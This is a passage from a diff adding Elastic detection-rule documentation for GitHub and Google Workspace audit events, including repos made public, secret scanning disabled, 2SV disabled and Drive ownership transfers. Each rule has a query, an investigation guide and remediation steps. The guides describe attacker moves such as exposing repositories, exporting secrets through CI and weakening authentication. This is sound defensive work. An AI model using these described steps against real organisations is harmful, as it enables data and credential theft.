logs for the specific event where the member's role was changed to 'admin' to identify the user who made the change and the user who received the new role. +- Verify the legitimacy of the role change by contacting the user who was granted the owner role and the user who performed the action to confirm if the change was authorized. +- Check the organization's recent activity logs for any unusual or suspicious actions performed by the user who was granted the owner role, such as changes to repository settings or data access. +- Investigate any recent changes in the organization's membership or permissions that could indicate a broader compromise or unauthorized access. +- Assess the potential impact of the role change by identifying sensitive repositories or data that the new owner role could access, and determine if any data exfiltration or unauthorized changes have occurred. + + +*False positive analysis* + + +- Role changes due to organizational restructuring or legitimate promotions can trigger alerts. Regularly update the list of expected role changes to minimize unnecessary alerts. +- Automated scripts or integrations that manage user roles might inadvertently trigger the rule. Identify and whitelist these scripts to prevent false positives. +- Temporary role assignments for project-specific tasks can be mistaken for unauthorized access. Implement a process to document and pre-approve such temporary changes. +- Changes made by trusted administrators during routine audits or maintenance may be flagged. Maintain a log of scheduled maintenance activities to cross-reference with alerts. +- Onboarding processes that involve granting admin roles to new employees can generate alerts. Ensure that onboarding procedures are documented and known exceptions are configured in the detection system. + + +*Response and remediation* + + +- Immediately revoke the owner role from the user account identified in the alert to prevent further unauthorized access or changes. +- Conduct a thorough review of recent activities performed by the user with the elevated privileges to identify any unauthorized changes or data access. +- Reset the credentials and enforce multi-factor authentication for the affected user account to secure it against further compromise. +- Notify the security team and relevant stakeholders about the potential breach and involve them in the investigation and remediation process. +- Review and update access control policies to ensure that owner roles are granted only through a formal approval process and are regularly audited. +- Implement additional monitoring and alerting for changes to high-privilege roles within the organization to detect similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "github.audit" and event.action == "org.update_member" and github.permission == "admin" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-private-repository-turned-public.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-private-repository-turned-public.asciidoc new file mode 100644 index 0000000000..82e711d8ed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-private-repository-turned-public.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-21-github-private-repository-turned-public]] +=== GitHub Private Repository Turned Public + +Detects when a private GitHub repository is changed to public visibility. Adversaries may change repository visibility to public in order to exfiltrate sensitive code or data, potentially indicating a compromise or unauthorized access. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Impact +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Private Repository Turned Public* + + +This rule flags when a previously private repository is made public, a high-risk change that can expose proprietary code, credentials, and internal documentation. Attackers who hijack a maintainer’s account often flip visibility via the UI or API, then immediately fork or mirror the repo to an external account to retain access and harvest embedded secrets even if the org reverts the change. + + +*Possible investigation steps* + + +- Identify the actor and authentication method used for the visibility change, verify their repository role, and confirm the action against an approved change request or ticket. +- Pull a time-bounded audit trail around the event for the actor and repository to surface related risky operations such as forking, transfers, collaborator additions, webhook edits, branch protection changes, or archive downloads. +- Enumerate forks, mirrors, stars, and watchers added after the change via the repository network graph and correlate with external accounts or suspicious clusters. +- Inspect GitHub Actions runs, deployments, and webhooks triggered post-change for workflows that export code or secrets to external destinations. +- Perform rapid secret scanning across the repository history and HEAD, triage any exposed credentials, and initiate rotation while mapping impacted services and environments. + + +*False positive analysis* + + +- A planned, approved open-source release where a maintainer intentionally flips a sanitized repository from private to public as part of a documented change. +- Bulk visibility changes during an organization-wide cleanup or migration that publishes templates, sample repos, or empty scaffolds, executed by an authorized service account. + + +*Response and remediation* + + +- Immediately revert the repository to private, remove outside collaborators, lock access to the core maintainers team, disable GitHub Actions and webhooks, and delete any release assets or packages published during the exposure window. +- Enumerate new forks, mirrors, stars, and watchers created after the visibility change and file takedown requests with GitHub Trust & Safety for unauthorized public copies while removing any deploy keys and uninstalling suspicious GitHub App installations added around the event. +- Run a rapid secret scan across the repository history and HEAD, rotate exposed credentials (cloud keys, API tokens, SSH keys), invalidate compromised service accounts, and purge cached artifacts or container images built from the public commit range. +- Restore secure settings from baseline by re-applying branch protection rules, CODEOWNERS, required reviews, signed commits, and protected environments, then re-enable workflows only after reviewing job steps and outputs for any export of code or secrets. +- Escalate to Security IR and Legal if the actor denies making the change, the repo network graph shows new public forks under unknown accounts, regulated data is present, or external users downloaded source zips or release archives during the public period. +- Restrict who can change repository visibility to organization owners, enforce SSO and 2FA for maintainers, disable forking of private repositories, limit Actions to trusted runners and verified actions, and enable secret scanning with push protection across the organization. + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" and github.operation_type == "modify" and github.category == "repo" and +event.action == "repo.access" and github.previous_visibility == "private" and github.visibility == "public" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-protected-branch-settings-changed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-protected-branch-settings-changed.asciidoc new file mode 100644 index 0000000000..72401d325e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-protected-branch-settings-changed.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-21-github-protected-branch-settings-changed]] +=== GitHub Protected Branch Settings Changed + +This rule detects setting modifications for protected branches of a GitHub repository. Branch protection rules can be used to enforce certain workflows or requirements before a contributor can push changes to a branch in your repository. Changes to these protected branch settings should be investigated and verified as legitimate activity. Unauthorized changes could be used to lower your organization's security posture and leave you exposed for future attacks. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Protected Branch Settings Changed* + + +GitHub's protected branch settings are crucial for maintaining code integrity by enforcing rules like requiring reviews before merging. Adversaries may alter these settings to bypass security measures, facilitating unauthorized code changes. The detection rule monitors audit logs for changes in branch protection, flagging potential defense evasion attempts for further investigation. + + +*Possible investigation steps* + + +- Review the GitHub audit logs to identify the specific changes made to the protected branch settings, focusing on entries where event.dataset is "github.audit" and github.category is "protected_branch". +- Determine the user account responsible for the changes by examining the audit log details, and verify if the account has a legitimate reason to modify branch protection settings. +- Check the timing of the changes to see if they coincide with any other suspicious activities or known incidents within the organization. +- Investigate the context of the change by reviewing recent pull requests or commits to the affected branch to assess if the changes align with ongoing development activities. +- Communicate with the repository owner or relevant team members to confirm if the changes were authorized and necessary for current project requirements. +- Evaluate the impact of the changes on the repository's security posture and consider reverting the changes if they were unauthorized or pose a security risk. + + +*False positive analysis* + + +- Routine updates by trusted team members may trigger alerts. To manage this, create exceptions for specific users or teams who regularly update branch protection settings as part of their role. +- Automated tools or scripts that modify branch settings for legitimate reasons can cause false positives. Identify these tools and whitelist their activities in the monitoring system. +- Scheduled maintenance or policy updates might lead to expected changes in branch protection settings. Document these events and adjust the detection rule to ignore changes during these periods. +- Changes made by administrators during onboarding or offboarding processes can be mistaken for unauthorized activity. Ensure these processes are well-documented and communicated to the security team to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately revert any unauthorized changes to the protected branch settings to restore the original security posture. +- Conduct a review of recent commits and merges to the affected branch to identify any unauthorized code changes that may have occurred during the period of altered settings. +- Temporarily restrict access to the repository for users who made unauthorized changes until a full investigation is completed. +- Notify the security team and relevant stakeholders about the incident for further analysis and to determine if additional security measures are needed. +- Implement additional monitoring on the affected repository to detect any further unauthorized changes or suspicious activities. +- Review and update access controls and permissions for the repository to ensure that only authorized personnel can modify branch protection settings. +- Document the incident, including the timeline of events and actions taken, to improve future response efforts and update incident response plans. + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" + and github.category == "protected_branch" and event.type == "change" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-repository-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-repository-deleted.asciidoc new file mode 100644 index 0000000000..b38d341fc9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-repository-deleted.asciidoc @@ -0,0 +1,107 @@ +[[prebuilt-rule-8-19-21-github-repository-deleted]] +=== GitHub Repository Deleted + +This rule detects when a GitHub repository is deleted within your organization. Repositories are a critical component used within an organization to manage work, collaborate with others and release products to the public. Any delete action against a repository should be investigated to determine it's validity. Unauthorized deletion of organization repositories could cause irreversible loss of intellectual property and indicate compromise within your organization. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Impact +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 207 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Repository Deleted* + +GitHub repositories are essential for managing code and collaboration within organizations. Adversaries may exploit this by deleting repositories to disrupt operations or erase critical data, potentially indicating a security breach. The detection rule monitors GitHub audit logs for repository deletion events, enabling analysts to swiftly identify and investigate unauthorized actions, thereby mitigating potential data loss and compromise. + + +*Possible investigation steps* + + +- Review the GitHub audit logs to confirm the repository deletion event by checking for entries where event.module is "github", event.dataset is "github.audit", and event.action is "repo.destroy". +- Identify the user account associated with the deletion event and verify their access permissions and recent activity to determine if the action was authorized. +- Contact the user or team responsible for the repository to confirm whether the deletion was intentional and documented. +- Check for any recent changes in user access or permissions that could indicate a compromised account or unauthorized access. +- Investigate any other suspicious activities or alerts related to the same user or repository around the time of the deletion event to identify potential patterns of malicious behavior. +- Assess the impact of the repository deletion on ongoing projects and data availability, and initiate recovery procedures if necessary. + + +*False positive analysis* + + +- Routine repository clean-up activities by authorized personnel may trigger alerts. To manage this, maintain a list of users or teams responsible for such tasks and create exceptions for their actions. +- Automated scripts or tools used for repository management might delete repositories as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific identifiers or tags. +- Test or temporary repositories that are frequently created and deleted during development cycles can cause false positives. Implement naming conventions for these repositories and configure the rule to ignore deletions matching these patterns. +- Scheduled repository deletions as part of a lifecycle management policy can be mistaken for unauthorized actions. Document these schedules and adjust the detection rule to accommodate these planned activities. + + +*Response and remediation* + + +- Immediately revoke access for any user account associated with the unauthorized repository deletion to prevent further malicious actions. +- Restore the deleted repository from backups or snapshots, if available, to recover lost data and minimize operational disruption. +- Conduct a thorough review of recent access logs and user activities to identify any other suspicious actions or potential indicators of compromise. +- Notify the security team and relevant stakeholders about the incident to ensure coordinated response efforts and awareness. +- Implement additional access controls, such as multi-factor authentication and role-based access, to prevent unauthorized deletions in the future. +- Escalate the incident to higher management and legal teams if intellectual property theft or significant data loss is suspected. +- Enhance monitoring and alerting mechanisms to detect similar unauthorized actions promptly, leveraging the MITRE ATT&CK framework for guidance on potential threat vectors. + +==== Rule query + + +[source, js] +---------------------------------- +configuration where event.module == "github" and data_stream.dataset == "github.audit" and event.action == "repo.destroy" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-secret-scanning-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-secret-scanning-disabled.asciidoc new file mode 100644 index 0000000000..1fbb4b9127 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-secret-scanning-disabled.asciidoc @@ -0,0 +1,110 @@ +[[prebuilt-rule-8-19-21-github-secret-scanning-disabled]] +=== GitHub Secret Scanning Disabled + +Detects when GitHub Secret Scanning is disabled for a repository. Adversaries may disable secret scanning to evade detection of hardcoded secrets, such as API keys or credentials, that could be used for further compromise or data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Secret Scanning Disabled* + + +This rule triggers when secret scanning is disabled on a repository, signaling an attempt to hide exposed tokens, keys, or passwords that can enable lateral movement, persistence, and data exfiltration. An attacker who gains admin or bot access may disable scanning, push a commit embedding plaintext credentials, and modify a workflow to export them via CI jobs, then use those secrets to authenticate to external services or cloud accounts and expand control. + + +*Possible investigation steps* + + +- Identify the actor (user, bot, or GitHub App), their auth method and source IP, confirm admin privileges, and validate whether the change was planned and approved. +- Immediately re-enable Secret Scanning and Push Protection on the repository and, if possible, enforce them via an organization policy, recording change control and justification. +- Review commits, pull requests, and workflow file changes near the disable timestamp to detect added plaintext credentials, secret files, or code paths that read or export secrets. +- Examine recent GitHub Actions runs, artifacts, and logs for secrets printed, unusual network egress, or jobs using elevated token scopes, and check for newly added or modified repo/org secrets. +- Correlate IdP, cloud, and third-party service logs for authentication or API activity shortly after the disable event, revoking and rotating any credentials suspected to be exposed. + + +*False positive analysis* + + +- A repository admin temporarily disables Secret Scanning during a planned maintenance or configuration test to address noisy detections or performance issues, then re-enables it, generating a benign disable event. +- Organization-managed templates or automation enforce a settings baseline that disables Secret Scanning for non-code or ephemeral repos (e.g., mirrors, docs, or test sandboxes), causing the event as part of expected governance. + + +*Response and remediation* + + +- Immediately re-enable Secret Scanning and Push Protection on the affected repository, lock the default branch with "Require pull request reviews" and "Restrict who can push," and temporarily pause GitHub Actions workflows that access repo or org secrets. +- Revert or rewrite commits made while scanning was disabled to remove credentials from files like .env, config.yml, and .github/workflows/*.yml, and delete build artifacts and caches that may contain sensitive values. +- Revoke and rotate exposed credentials by disabling compromised PATs, rotating cloud API keys and service tokens, and updating organization and repository secrets in Settings > Secrets and variables. +- Validate recovery by confirming Secret Scanning and Push Protection are enabled in repository settings, re-running a full secret scan across HEAD, tags, and protected branches, and restoring merges and deployments only after clean results. +- Escalate to incident response if the actor is unknown or unauthorized, if plaintext secrets appear in commits or workflow logs, or if external authentications use repo-linked credentials within 24 hours of the disable event. +- Harden by enforcing org-wide policies requiring Secret Scanning and Push Protection for all repositories, adding repository rulesets to require status checks and pull request reviews before merging, and limiting Actions token permissions with protected environments and branch protections. + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" and event.type == "change" and event.action == "repository_secret_scanning.disable" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-drive-ownership-transferred-via-google-workspace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-drive-ownership-transferred-via-google-workspace.asciidoc new file mode 100644 index 0000000000..5d41d487fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-drive-ownership-transferred-via-google-workspace.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-google-drive-ownership-transferred-via-google-workspace]] +=== Google Drive Ownership Transferred via Google Workspace + +Drive and Docs is a Google Workspace service that allows users to leverage Google Drive and Google Docs. Access to files is based on inherited permissions from the child organizational unit the user belongs to which is scoped by administrators. Typically if a user is removed, their files can be transferred to another user by the administrator. This service can also be abused by adversaries to transfer files to an adversary account for potential exfiltration. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/1247799?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Drive Ownership Transferred via Google Workspace* + + +Google Drive is a cloud storage service that allows users to store and access files. It is available to users with a Google Workspace account. + +Google Workspace administrators consider users' roles and organizational units when assigning permissions to files or shared drives. Owners of sensitive files and folders can grant permissions to users who make internal or external access requests. Adversaries abuse this trust system by accessing Google Drive resources with improperly scoped permissions and shared settings. Distributing phishing emails is another common approach to sharing malicious Google Drive documents. With this approach, adversaries aim to inherit the recipient's Google Workspace privileges when an external entity grants ownership. + +This rule identifies when the ownership of a shared drive within a Google Workspace organization is transferred to another internal user. + + +*Possible investigation steps* + + +- From the admin console, review admin logs for involved user accounts. To find admin logs, go to `Security > Reporting > Audit and investigation > Admin log events`. +- Determine if involved user accounts are active. To view user activity, go to `Directory > Users`. +- Check if the involved user accounts were recently disabled, then re-enabled. +- Review involved user accounts for potentially misconfigured permissions or roles. +- Review the involved shared drive or files and related policies to determine if this action was expected and appropriate. +- If a shared drive, access requirements based on Organizational Units in `Apps > Google Workspace > Drive and Docs > Manage shared drives`. +- Triage potentially related alerts based on the users involved. To find alerts, go to `Security > Alerts`. + + +*False positive analysis* + + +- Transferring drives requires Google Workspace administration permissions related to Google Drive. Check if this action was planned/expected from the requester and is appropriately targeting the correct receiver. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.action:"CREATE_DATA_TRANSFER_REQUEST" + and event.category:"iam" and google_workspace.admin.application.name:Drive* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Remote Data Staging +** ID: T1074.002 +** Reference URL: https://attack.mitre.org/techniques/T1074/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-2sv-policy-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-2sv-policy-disabled.asciidoc new file mode 100644 index 0000000000..8a4a6cbf3c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-2sv-policy-disabled.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-21-google-workspace-2sv-policy-disabled]] +=== Google Workspace 2SV Policy Disabled + +Google Workspace admins may setup 2-step verification (2SV) to add an extra layer of security to user accounts by asking users to verify their identity when they use login credentials. Admins have the ability to enforce 2SV from the admin console as well as the methods acceptable for verification and enrollment period. 2SV requires enablement on admin accounts prior to it being enabled for users within organization units. Adversaries may disable 2SV to lower the security requirements to access a valid account. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/9176657?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace 2SV Policy Disabled* + + +Google Workspace administrators manage password policies to enforce password requirements for an organization's compliance needs. Administrators have the capability to set restrictions on password length, reset frequencies, reuse capability, expiration, and much more. Google Workspace also allows multi-factor authentication (MFA) and 2-step verification (2SV) for authentication. 2SV allows users to verify their identity using security keys, Google prompt, authentication codes, text messages, and more. + +2SV adds an extra authentication layer for Google Workspace users to verify their identity. If 2SV or MFA aren't implemented, users only authenticate with their user name and password credentials. This authentication method has often been compromised and can be susceptible to credential access techniques when weak password policies are used. + +This rule detects when a 2SV policy is disabled in Google Workspace. + + +*Possible investigation steps* + + +- Identify the associated user account(s) by reviewing `user.name` or `source.user.email` in the alert. +- Identify what password setting was created or adjusted by reviewing `google_workspace.admin.setting.name`. +- Review if a password setting was enabled or disabled by reviewing `google_workspace.admin.new_value` and `google_workspace.admin.old_value`. +- After identifying the involved user account, verify administrative privileges are scoped properly. +- Filter `event.dataset` for `google_workspace.login` and aggregate by `user.name`, `event.action`. + - The `google_workspace.login.challenge_method` field can be used to identify the challenge method that was used for failed and successful logins. + + +*False positive analysis* + + +- After finding the user account that updated the password policy, verify whether the action was intentional. +- Verify whether the user should have Google Workspace administrative privileges that allow them to modify password policies. +- Review organizational units or groups the role may have been added to and ensure its privileges are properly aligned. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.login" and event.action:"2sv_disable" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: 